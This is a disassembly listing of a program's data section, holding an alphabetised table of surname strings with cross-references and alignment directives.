aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:0042E1D8o
align 4
aJolly db 'Jolly',0 ; DATA XREF: .data:0042E1D4o
align 4
aJohns db 'Johns',0 ; DATA XREF: .data:0042E1D0o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: .data:0042E1CCo
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0042E1C8o
aJewett db 'Jewett',0 ; DATA XREF: .data:0042E1C4o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: .data:0042E1C0o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .data:0042E1BCo
aJellis db 'Jellis',0 ; DATA XREF: .data:0042E1B8o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .data:0042E1B4o
aJay db 'Jay',0 ; DATA XREF: .data:0042E1B0o
aJarrell db 'Jarrell',0 ; DATA XREF: .data:0042E1ACo
aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0042E1A8o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .data:0042E1A4o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .data:0042E1A0o
align 4
aJain db 'Jain',0 ; DATA XREF: .data:0042E19Co
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .data:0042E198o
align 4
aJagger db 'Jagger',0 ; DATA XREF: .data:0042E194o
align 4
aJagers db 'Jagers',0 ; DATA XREF: .data:0042E190o
align 4
aJackson db 'Jackson',0 ; DATA XREF: .data:0042E18Co
aJacenko db 'Jacenko',0 ; DATA XREF: .data:0042E188o
aIyer db 'Iyer',0 ; DATA XREF: .data:0042E184o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .data:0042E180o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: .data:0042E17Co
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0042E178o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .data:0042E174o
align 4
aInniss db 'Inniss',0 ; DATA XREF: .data:0042E170o
align 4
aInamura db 'Inamura',0 ; DATA XREF: .data:0042E16Co
aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0042E168o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0042E164o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0042E160o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: .data:0042E15Co
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .data:0042E158o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:0042E154o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: .data:0042E150o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .data:0042E14Co
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .data:0042E148o
align 10h
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:0042E144o
align 4
aHuey db 'Huey',0 ; DATA XREF: .data:0042E140o
align 4
aHoy db 'Hoy',0 ; DATA XREF: .data:0042E13Co
aHoward db 'Howard',0 ; DATA XREF: .data:0042E138o
align 10h
aHottle db 'Hottle',0 ; DATA XREF: .data:0042E134o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .data:0042E130o
aHoshida db 'Hoshida',0 ; DATA XREF: .data:0042E12Co
aHorsley db 'Horsley',0 ; DATA XREF: .data:0042E128o
aHopkins db 'Hopkins',0 ; DATA XREF: .data:0042E124o
aHooker db 'Hooker',0 ; DATA XREF: .data:0042E120o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: .data:0042E11Co
aHolway db 'Holway',0 ; DATA XREF: .data:0042E118o
align 10h
aHolter db 'Holter',0 ; DATA XREF: .data:0042E114o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .data:0042E110o
aHolmes db 'Holmes',0 ; DATA XREF: .data:0042E10Co
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .data:0042E108o
align 10h
aHokanson db 'Hokanson',0 ; DATA XREF: .data:0042E104o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .data:0042E100o
aHoffer db 'Hoffer',0 ; DATA XREF: .data:0042E0FCo
align 4
aHock db 'Hock',0 ; DATA XREF: .data:0042E0F8o
align 4
aHoang db 'Hoang',0 ; DATA XREF: .data:0042E0F4o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:0042E0F0o
align 4
aHirst db 'Hirst',0 ; DATA XREF: .data:0042E0ECo
align 10h
aHind db 'Hind',0 ; DATA XREF: .data:0042E0E8o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:0042E0E4o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0042E0E0o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .data:0042E0DCo
aHester db 'Hester',0 ; DATA XREF: .data:0042E0D8o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .data:0042E0D4o
aHernandez db 'Hernandez',0 ; DATA XREF: .data:0042E0D0o
align 10h
aHenrichs db 'Henrichs',0 ; DATA XREF: .data:0042E0CCo
align 4
aHenery db 'Henery',0 ; DATA XREF: .data:0042E0C8o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: .data:0042E0C4o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: .data:0042E0C0o
aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:0042E0BCo
align 4
aHellman db 'Hellman',0 ; DATA XREF: .data:0042E0B8o
aHeiland db 'Heiland',0 ; DATA XREF: .data:0042E0B4o
aHeft db 'Heft',0 ; DATA XREF: .data:0042E0B0o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: .data:0042E0ACo
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:0042E0A8o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .data:0042E0A4o
align 4
aHayes db 'Hayes',0 ; DATA XREF: .data:0042E0A0o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .data:0042E09Co
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: .data:0042E098o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .data:0042E094o
aHartnett db 'Hartnett',0 ; DATA XREF: .data:0042E090o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: .data:0042E08Co
align 4
aHartman db 'Hartman',0 ; DATA XREF: .data:0042E088o
aHarrigan db 'Harrigan',0 ; DATA XREF: .data:0042E084o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .data:0042E080o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: .data:0042E07Co
align 10h
aHarding db 'Harding',0 ; DATA XREF: .data:0042E078o
aHanssen db 'Hanssen',0 ; DATA XREF: .data:0042E074o
aHand db 'Hand',0 ; DATA XREF: .data:0042E070o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .data:0042E06Co
align 4
aHamer db 'Hamer',0 ; DATA XREF: .data:0042E068o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:0042E064o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .data:0042E060o
aHallowell db 'Hallowell',0 ; DATA XREF: .data:0042E05Co
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: .data:0042E058o
aHaley db 'Haley',0 ; DATA XREF: .data:0042E054o
align 10h
aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:0042E050o
align 4
aHackman db 'Hackman',0 ; DATA XREF: .data:0042E04Co
aHaar db 'Haar',0 ; DATA XREF: .data:0042E048o
align 4
aHa db 'Ha',0 ; DATA XREF: .data:0042E044o
align 10h
aGuo db 'Guo',0 ; DATA XREF: .data:0042E040o
aGunn db 'Gunn',0 ; DATA XREF: .data:0042E03Co
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: .data:0042E038o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .data:0042E034o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: .data:0042E030o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .data:0042E02Co
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:0042E028o
align 10h
aGriffiths db 'Griffiths',0 ; DATA XREF: .data:0042E024o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:0042E020o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .data:0042E01Co
align 4
aGravell db 'Gravell',0 ; DATA XREF: .data:0042E018o
aGozzi db 'Gozzi',0 ; DATA XREF: .data:0042E014o
align 4
aGoody db 'Goody',0 ; DATA XREF: .data:0042E010o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: .data:0042E00Co
align 4
aGood db 'Good',0 ; DATA XREF: .data:0042E008o
align 10h
aGoncalves db 'Goncalves',0 ; DATA XREF: .data:0042E004o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:0042E000o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .data:0042DFFCo
aGlegg db 'Glegg',0 ; DATA XREF: .data:0042DFF8o
align 4
aGleason db 'Gleason',0 ; DATA XREF: .data:0042DFF4o
aGist db 'Gist',0 ; DATA XREF: .data:0042DFF0o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .data:0042DFECo
align 4
aGill db 'Gill',0 ; DATA XREF: .data:0042DFE8o
align 4
aGili db 'Gili',0 ; DATA XREF: .data:0042DFE4o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .data:0042DFE0o
aGibson db 'Gibson',0 ; DATA XREF: .data:0042DFDCo
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .data:0042DFD8o
aGhorai db 'Ghorai',0 ; DATA XREF: .data:0042DFD4o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .data:0042DFD0o
aGeorgi db 'Georgi',0 ; DATA XREF: .data:0042DFCCo
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .data:0042DFC8o
align 10h
aGeller db 'Geller',0 ; DATA XREF: .data:0042DFC4o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .data:0042DFC0o
aGarman db 'Garman',0 ; DATA XREF: .data:0042DFBCo
align 4
aGarfield db 'Garfield',0 ; DATA XREF: .data:0042DFB8o
align 4
aGambini db 'Gambini',0 ; DATA XREF: .data:0042DFB4o
aGalwey db 'Galwey',0 ; DATA XREF: .data:0042DFB0o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .data:0042DFACo
align 10h
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:0042DFA8o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:0042DFA4o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .data:0042DFA0o
align 10h
aFurth db 'Furth',0 ; DATA XREF: .data:0042DF9Co
align 4
aFuller db 'Fuller',0 ; DATA XREF: .data:0042DF98o
align 10h
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:0042DF94o
align 4
aFrye db 'Frye',0 ; DATA XREF: .data:0042DF90o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: .data:0042DF8Co
align 10h
aFrowiss db 'Frowiss',0 ; DATA XREF: .data:0042DF88o
aFrisken db 'Frisken',0 ; DATA XREF: .data:0042DF84o
aFriedland db 'Friedland',0 ; DATA XREF: .data:0042DF80o
align 4
aFried db 'Fried',0 ; DATA XREF: .data:0042DF7Co
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .data:0042DF78o
align 10h
aFreid db 'Freid',0 ; DATA XREF: .data:0042DF74o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0042DF70o
align 4
aFranz db 'Franz',0 ; DATA XREF: .data:0042DF6Co
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:0042DF68o
align 10h
aFrancisco db 'Francisco',0 ; DATA XREF: .data:0042DF64o
align 4
aFossi db 'Fossi',0 ; DATA XREF: .data:0042DF60o
align 4
aFossey db 'Fossey',0 ; DATA XREF: .data:0042DF5Co
align 4
aFortier db 'Fortier',0 ; DATA XREF: .data:0042DF58o
aFortes db 'Fortes',0 ; DATA XREF: .data:0042DF54o
align 4
aForester db 'Forester',0 ; DATA XREF: .data:0042DF50o
align 4
aFolks db 'Folks',0 ; DATA XREF: .data:0042DF4Co
align 10h
aFlores db 'Flores',0 ; DATA XREF: .data:0042DF48o
align 4
aFlier db 'Flier',0 ; DATA XREF: .data:0042DF44o
align 10h
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0042DF40o
aFisk db 'Fisk',0 ; DATA XREF: .data:0042DF3Co
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .data:0042DF38o
aFinnegan db 'Finnegan',0 ; DATA XREF: .data:0042DF34o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0042DF30o
aFink db 'Fink',0 ; DATA XREF: .data:0042DF2Co
align 4
aField db 'Field',0 ; DATA XREF: .data:0042DF28o
align 4
aFido db 'Fido',0 ; DATA XREF: .data:0042DF24o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .data:0042DF20o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .data:0042DF1Co
align 10h
aFerrante db 'Ferrante',0 ; DATA XREF: .data:0042DF18o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: .data:0042DF14o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .data:0042DF10o
aFeldman db 'Feldman',0 ; DATA XREF: .data:0042DF0Co
aFejzo db 'Fejzo',0 ; DATA XREF: .data:0042DF08o
align 10h
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:0042DF04o
align 4
aFates db 'Fates',0 ; DATA XREF: .data:0042DF00o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .data:0042DEFCo
align 4
aFarren db 'Farren',0 ; DATA XREF: .data:0042DEF8o
align 4
aFarone db 'Farone',0 ; DATA XREF: .data:0042DEF4o
align 4
aFaris db 'Faris',0 ; DATA XREF: .data:0042DEF0o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .data:0042DEECo
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:0042DEE8o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .data:0042DEE4o
align 4
aFagan db 'Fagan',0 ; DATA XREF: .data:0042DEE0o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: .data:0042DEDCo
aEverett db 'Everett',0 ; DATA XREF: .data:0042DED8o
aEuripides db 'Euripides',0 ; DATA XREF: .data:0042DED4o
align 4
aEtter db 'Etter',0 ; DATA XREF: .data:0042DED0o
align 10h
aEstes db 'Estes',0 ; DATA XREF: .data:0042DECCo
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .data:0042DEC8o
align 4
aErez db 'Erez',0 ; DATA XREF: .data:0042DEC4o
align 4
aErdos db 'Erdos',0 ; DATA XREF: .data:0042DEC0o
align 4
aErdman db 'Erdman',0 ; DATA XREF: .data:0042DEBCo
align 4
aErbach db 'Erbach',0 ; DATA XREF: .data:0042DEB8o
align 4
aEppling db 'Eppling',0 ; DATA XREF: .data:0042DEB4o
aEnyeart db 'Enyeart',0 ; DATA XREF: .data:0042DEB0o
aEncinas db 'Encinas',0 ; DATA XREF: .data:0042DEACo
aElvis db 'Elvis',0 ; DATA XREF: .data:0042DEA8o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .data:0042DEA4o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0042DEA0o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: .data:0042DE9Co
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0042DE98o
aEdward db 'Edward',0 ; DATA XREF: .data:0042DE94o
align 4
aEdner db 'Edner',0 ; DATA XREF: .data:0042DE90o
align 4
aEdley db 'Edley',0 ; DATA XREF: .data:0042DE8Co
align 4
aEckel db 'Eckel',0 ; DATA XREF: .data:0042DE88o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: .data:0042DE84o
aEardley db 'Eardley',0 ; DATA XREF: .data:0042DE80o
aDwyer db 'Dwyer',0 ; DATA XREF: .data:0042DE7Co
align 4
aDussault db 'Dussault',0 ; DATA XREF: .data:0042DE78o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .data:0042DE74o
aDuffin db 'Duffin',0 ; DATA XREF: .data:0042DE70o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0042DE6Co
aDrinker db 'Drinker',0 ; DATA XREF: .data:0042DE68o
aDowsland db 'Dowsland',0 ; DATA XREF: .data:0042DE64o
align 4
aDoug db 'Doug',0 ; DATA XREF: .data:0042DE60o
align 4
aDoty db 'Doty',0 ; DATA XREF: .data:0042DE5Co
align 4
aDosi db 'Dosi',0 ; DATA XREF: .data:0042DE58o
align 4
aDorf db 'Dorf',0 ; DATA XREF: .data:0042DE54o
align 4
aDore db 'Dore',0 ; DATA XREF: .data:0042DE50o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .data:0042DE4Co
align 4
aDonner db 'Donner',0 ; DATA XREF: .data:0042DE48o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: .data:0042DE44o
aDoherty db 'Doherty',0 ; DATA XREF: .data:0042DE40o
aDockery db 'Dockery',0 ; DATA XREF: .data:0042DE3Co
aDirksen db 'Dirksen',0 ; DATA XREF: .data:0042DE38o
aDionysius db 'Dionysius',0 ; DATA XREF: .data:0042DE34o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .data:0042DE30o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0042DE2Co
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: .data:0042DE28o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0042DE24o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .data:0042DE20o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0042DE1Co
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0042DE18o
aDesombre db 'Desombre',0 ; DATA XREF: .data:0042DE14o
align 4
aDenison db 'Denison',0 ; DATA XREF: .data:0042DE10o
aDenham db 'Denham',0 ; DATA XREF: .data:0042DE0Co
align 4
aDenault db 'Denault',0 ; DATA XREF: .data:0042DE08o
aDemusz db 'Demusz',0 ; DATA XREF: .data:0042DE04o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .data:0042DE00o
align 4
aDeming db 'Deming',0 ; DATA XREF: .data:0042DDFCo
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0042DDF8o
align 4
aDelger db 'Delger',0 ; DATA XREF: .data:0042DDF4o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0042DDF0o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: .data:0042DDECo
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0042DDE8o
align 4
aDees db 'Dees',0 ; DATA XREF: .data:0042DDE4o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: .data:0042DDE0o
aDerousse db 'deRousse',0 ; DATA XREF: .data:0042DDDCo
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0042DDD8o
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0042DDD4o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0042DDD0o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .data:0042DDCCo
aDavid db 'David',0 ; DATA XREF: .data:0042DDC8o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0042DDC4o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0042DDC0o
align 4
aDas db 'Das',0 ; DATA XREF: .data:0042DDBCo
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0042DDB8o
aDapice db 'Dapice',0 ; DATA XREF: .data:0042DDB4o
align 4
aDante db 'Dante',0 ; DATA XREF: .data:0042DDB0o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: .data:0042DDACo
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0042DDA8o
aDaly db 'Daly',0 ; DATA XREF: .data:0042DDA4o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0042DDA0o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: .data:0042DD9Co
aCyders db 'Cyders',0 ; DATA XREF: .data:0042DD98o
align 10h
aCvek db 'Cvek',0 ; DATA XREF: .data:0042DD94o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .data:0042DD90o
align 10h
aCurrier db 'Currier',0 ; DATA XREF: .data:0042DD8Co
aCui db 'Cui',0 ; DATA XREF: .data:0042DD88o
aCroxton db 'Croxton',0 ; DATA XREF: .data:0042DD84o
aCroxen db 'Croxen',0 ; DATA XREF: .data:0042DD80o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0042DD7Co
aCrocker db 'Crocker',0 ; DATA XREF: .data:0042DD78o
aCrawford db 'Crawford',0 ; DATA XREF: .data:0042DD74o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0042DD70o
aCounter db 'Counter',0 ; DATA XREF: .data:0042DD6Co
aCosmides db 'Cosmides',0 ; DATA XREF: .data:0042DD68o
align 4
aCornish db 'Cornish',0 ; DATA XREF: .data:0042DD64o
aCorey db 'Corey',0 ; DATA XREF: .data:0042DD60o
align 4
aConnors db 'Connors',0 ; DATA XREF: .data:0042DD5Co
aCondodina db 'Condodina',0 ; DATA XREF: .data:0042DD58o
align 4
aConcino db 'Concino',0 ; DATA XREF: .data:0042DD54o
aComstock db 'Comstock',0 ; DATA XREF: .data:0042DD50o
align 4
aCompton db 'Compton',0 ; DATA XREF: .data:0042DD48o
; .data:0042DD4Co
aCollis db 'Collis',0 ; DATA XREF: .data:0042DD44o
align 4
aCollard db 'Collard',0 ; DATA XREF: .data:0042DD40o
aColella db 'Colella',0 ; DATA XREF: .data:0042DD3Co
aColdren db 'Coldren',0 ; DATA XREF: .data:0042DD38o
aCoito db 'Coito',0 ; DATA XREF: .data:0042DD34o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0042DD30o
aClow db 'Clow',0 ; DATA XREF: .data:0042DD2Co
align 4
aClifton db 'Clifton',0 ; DATA XREF: .data:0042DD28o
aClement db 'Clement',0 ; DATA XREF: .data:0042DD24o
aClark db 'Clark',0 ; DATA XREF: .data:0042DD20o
align 4
aClancy db 'Clancy',0 ; DATA XREF: .data:0042DD1Co
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .data:0042DD18o
aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0042DD14o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: .data:0042DD10o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0042DD0Co
align 4
aChurch db 'Church',0 ; DATA XREF: .data:0042DD08o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: .data:0042DD04o
align 4
aChu db 'Chu',0 ; DATA XREF: .data:0042DD00o
aChristopher db 'Christopher',0 ; DATA XREF: .data:0042DCFCo
aChristie db 'Christie',0 ; DATA XREF: .data:0042DCF8o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .data:0042DCF4o
align 10h
aChristian db 'Christian',0 ; DATA XREF: .data:0042DCF0o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: .data:0042DCECo
aChinman db 'Chinman',0 ; DATA XREF: .data:0042DCE8o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0042DCE4o
aChilds db 'Childs',0 ; DATA XREF: .data:0042DCE0o
align 4
aChildress db 'Childress',0 ; DATA XREF: .data:0042DCDCo
align 10h
aChien db 'Chien',0 ; DATA XREF: .data:0042DCD8o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .data:0042DCD4o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0042DCD0o
align 10h
aCherry db 'Cherry',0 ; DATA XREF: .data:0042DCCCo
align 4
aCheang db 'Cheang',0 ; DATA XREF: .data:0042DCC8o
align 10h
aCharles db 'Charles',0 ; DATA XREF: .data:0042DCC4o
aChapman db 'Chapman',0 ; DATA XREF: .data:0042DCC0o
aCerioli db 'Cerioli',0 ; DATA XREF: .data:0042DCBCo
aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0042DCB8o
align 4
aCavell db 'Cavell',0 ; DATA XREF: .data:0042DCB4o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0042DCB0o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .data:0042DCACo
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .data:0042DCA8o
align 4
aCase db 'Case',0 ; DATA XREF: .data:0042DCA4o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .data:0042DCA0o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .data:0042DC9Co
align 4
aCarper db 'Carper',0 ; DATA XREF: .data:0042DC98o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: .data:0042DC94o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0042DC90o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0042DC8Co
aCarlos db 'Carlos',0 ; DATA XREF: .data:0042DC88o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: .data:0042DC84o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0042DC80o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0042DC7Co
aCapursi db 'Capursi',0 ; DATA XREF: .data:0042DC78o
aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0042DC74o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0042DC70o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0042DC6Co
align 4
aCaperton db 'Caperton',0 ; DATA XREF: .data:0042DC68o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: .data:0042DC64o
aCanley db 'Canley',0 ; DATA XREF: .data:0042DC60o
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0042DC5Co
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .data:0042DC58o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .data:0042DC54o
align 10h
aCage db 'Cage',0 ; DATA XREF: .data:0042DC50o
align 4
aByrd db 'Byrd',0 ; DATA XREF: .data:0042DC4Co
align 10h
aByerly db 'Byerly',0 ; DATA XREF: .data:0042DC48o
align 4
aByatt db 'Byatt',0 ; DATA XREF: .data:0042DC44o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: .data:0042DC40o
aBurridge db 'Burridge',0 ; DATA XREF: .data:0042DC3Co
align 4
aBurke db 'Burke',0 ; DATA XREF: .data:0042DC38o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0042DC34o
align 4
aBurden db 'Burden',0 ; DATA XREF: .data:0042DC30o
align 4
aBunton db 'Bunton',0 ; DATA XREF: .data:0042DC2Co
align 4
aBullard db 'Bullard',0 ; DATA XREF: .data:0042DC28o
aBudding db 'Budding',0 ; DATA XREF: .data:0042DC24o
aBuchan db 'Buchan',0 ; DATA XREF: .data:0042DC20o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0042DC1Co
aBrook db 'Brook',0 ; DATA XREF: .data:0042DC18o
align 4
aBroca db 'Broca',0 ; DATA XREF: .data:0042DC14o
align 4
aBritz db 'Britz',0 ; DATA XREF: .data:0042DC10o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: .data:0042DC0Co
aBridges db 'Bridges',0 ; DATA XREF: .data:0042DC08o
aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0042DC04o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .data:0042DBFCo
; .data:0042DC00o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: .data:0042DBF8o
aBrenan db 'Brenan',0 ; DATA XREF: .data:0042DBF4o
align 10h
aBreed db 'Breed',0 ; DATA XREF: .data:0042DBF0o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .data:0042DBECo
align 10h
aBradach db 'Bradach',0 ; DATA XREF: .data:0042DBE8o
aBradac db 'Bradac',0 ; DATA XREF: .data:0042DBE4o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: .data:0042DBE0o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .data:0042DBDCo
align 4
aBoym db 'Boym',0 ; DATA XREF: .data:0042DBD8o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .data:0042DBD4o
aBoyes db 'Boyes',0 ; DATA XREF: .data:0042DBD0o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0042DBCCo
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .data:0042DBC8o
align 10h
aBowers db 'Bowers',0 ; DATA XREF: .data:0042DBC4o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0042DBC0o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0042DBBCo
aBoudin db 'Boudin',0 ; DATA XREF: .data:0042DBB8o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: .data:0042DBB4o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .data:0042DBB0o
aBossi db 'Bossi',0 ; DATA XREF: .data:0042DBACo
align 4
aBorden db 'Borden',0 ; DATA XREF: .data:0042DBA8o
align 4
aBorack db 'Borack',0 ; DATA XREF: .data:0042DBA4o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0042DBA0o
align 4
aBoone db 'Boone',0 ; DATA XREF: .data:0042DB9Co
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0042DB98o
align 4
aBook db 'Book',0 ; DATA XREF: .data:0042DB94o
align 4
